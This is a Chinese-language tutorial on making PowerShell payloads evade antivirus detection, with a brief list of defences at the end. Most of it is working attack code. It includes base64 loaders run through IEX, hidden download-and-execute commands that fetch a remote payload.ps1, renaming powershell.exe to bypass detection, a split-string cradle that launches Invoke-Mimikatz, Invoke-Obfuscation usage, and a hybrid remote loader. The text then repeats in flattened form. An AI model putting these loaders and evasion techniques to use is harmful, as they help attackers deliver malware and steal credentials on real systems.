powershell免杀思路分析
字数 872 2025-08-09 13:33:59

PowerShell免杀思路分析

基础概念

PowerShell是Windows系统自带的强大脚本环境,具有以下特点:

  • 方便、有效且隐蔽
  • 可利用.NET Framework功能
  • 常用于IT/系统管理
  • 被广泛用于渗透测试和后门植入

PowerShell执行策略

查看和设置执行策略的命令:

Get-ExecutionPolicy  # 获取当前执行策略
Set-ExecutionPolicy <PolicyName>  # 设置执行策略

执行策略类型:

  • Restricted: 默认设置,禁止脚本运行
  • RemoteSigned: 本地脚本可运行,网上下载的需数字签名
  • AllSigned: 只有受信任发布者签名的脚本可运行
  • Unrestricted: 允许所有脚本运行

免杀核心思路

免杀需考虑三个关键因素:

  1. 免杀工具执行的条件
  2. 文件大小
  3. 功能完整性(能否正常上线)

免杀技术详解

1. 本地执行代码-编码分析

特征码定位方法

  • 分段删除代码并测试查杀
  • 重点关注$DoIt变量内容

Base64编码示例

$DoIt = 'base64编码内容'
$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $mksec | wait-job | Receive-Job
}
else {
    IEX $mksec
}

2. 远程下载执行技术

基本远程执行

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/payload.ps1'))"

替换文件名技术

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
bypass.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/payload.ps1'))"

HTTP拆分技术

powershell -nop -w hidden -c "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://example.com/payload.ps1''));Invoke-Mimikatz';IEX ($a+$b)"

添加垃圾字符干扰

powershell -w Normal -w Normal -w Normal... set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://example.com/payload.ps1')

3. 混淆编码技术

使用Invoke-Obfuscation工具进行高级混淆:

  1. 下载地址:https://github.com/danielbohannon/Invoke-Obfuscation
  2. 基本用法:
Import-Module ./Invoke-Obfuscation.psd1 
Invoke-Obfuscation
set scriptpath C:\path\to\script.ps1  # 处理文件
set scriptblock 'code'  # 处理代码
encoding  # 进入编码模式
1-8  # 选择编码方式
out C:\path\to\output.ps1  # 输出文件

部分代码混淆示例

. ( $PsHOME[4]+$psHOME[34]+'X')( " $( Sv 'OFS'  '')"+ [stRinG]('83@101...'-SPlit'd'-sPlIt '>'-sPLIT 'j' -SpLIT 'o' -SpLIt't'-SPLiT'V' -SPliT';' -splIT'{' -SPLIT'@'-SplIT'<' |%{([inT]$_ -AS[cHar])} )+"$(SET-ITeM 'vaRiaBLE:ofS'  ' ') ")

4. 混合技术应用

远程下载+部分混淆

Set-StrictMode -Version 2
$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://example.com/encoded.txt'))
$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))

If ([IntPtr]::size -eq 8) {
    ( [RuNtime.INtERopserVIces.mArShAL]::([RunTiME.inTEROPservICeS.marshAL].GETmEmberS()[3].NAME).iNvOKe([RuNtImE.InteropSeRViCeS.MarSHAl]::SecUreSTriNGToBsTR( $('76492d11...'|coNVERtTO-SeCuReSTrinG -k (40..63)) ) ))| .((Get-VarIABlE '*mDr*').nAME[3,11,2]-JOIn'')
}
else {
    IEX $mksec
}

高级技巧

  1. 组合使用多种技术:将编码、拆分、混淆等技术组合使用
  2. 部分代码混淆:只对关键部分代码进行混淆,而非全部
  3. 自定义编码器:避免使用公开工具的默认编码方式
  4. 环境检测绕过:添加环境检测逻辑,在特定条件下才执行恶意代码

防御对策

  1. 限制PowerShell执行策略
  2. 监控异常PowerShell进程
  3. 检测网络流量中的可疑下载行为
  4. 使用高级威胁检测工具分析脚本行为
  5. 限制系统.NET Framework功能

总结

有效的PowerShell免杀需要:

  • 理解杀软检测原理
  • 灵活组合多种技术
  • 不断测试和调整
  • 关注杀软更新和检测方式变化
  • 开发自定义的混淆和编码方法

免杀是一个持续对抗的过程,需要保持技术更新和创造性思维。

PowerShell免杀思路分析 基础概念 PowerShell是Windows系统自带的强大脚本环境,具有以下特点: 方便、有效且隐蔽 可利用.NET Framework功能 常用于IT/系统管理 被广泛用于渗透测试和后门植入 PowerShell执行策略 查看和设置执行策略的命令: 执行策略类型: Restricted: 默认设置,禁止脚本运行 RemoteSigned: 本地脚本可运行,网上下载的需数字签名 AllSigned: 只有受信任发布者签名的脚本可运行 Unrestricted: 允许所有脚本运行 免杀核心思路 免杀需考虑三个关键因素: 免杀工具执行的条件 文件大小 功能完整性(能否正常上线) 免杀技术详解 1. 本地执行代码-编码分析 特征码定位方法 : 分段删除代码并测试查杀 重点关注$DoIt变量内容 Base64编码示例 : 2. 远程下载执行技术 基本远程执行 替换文件名技术 HTTP拆分技术 添加垃圾字符干扰 3. 混淆编码技术 使用Invoke-Obfuscation工具进行高级混淆: 下载地址:https://github.com/danielbohannon/Invoke-Obfuscation 基本用法: 部分代码混淆示例 : 4. 混合技术应用 远程下载+部分混淆 : 高级技巧 组合使用多种技术 :将编码、拆分、混淆等技术组合使用 部分代码混淆 :只对关键部分代码进行混淆,而非全部 自定义编码器 :避免使用公开工具的默认编码方式 环境检测绕过 :添加环境检测逻辑,在特定条件下才执行恶意代码 防御对策 限制PowerShell执行策略 监控异常PowerShell进程 检测网络流量中的可疑下载行为 使用高级威胁检测工具分析脚本行为 限制系统.NET Framework功能 总结 有效的PowerShell免杀需要: 理解杀软检测原理 灵活组合多种技术 不断测试和调整 关注杀软更新和检测方式变化 开发自定义的混淆和编码方法 免杀是一个持续对抗的过程,需要保持技术更新和创造性思维。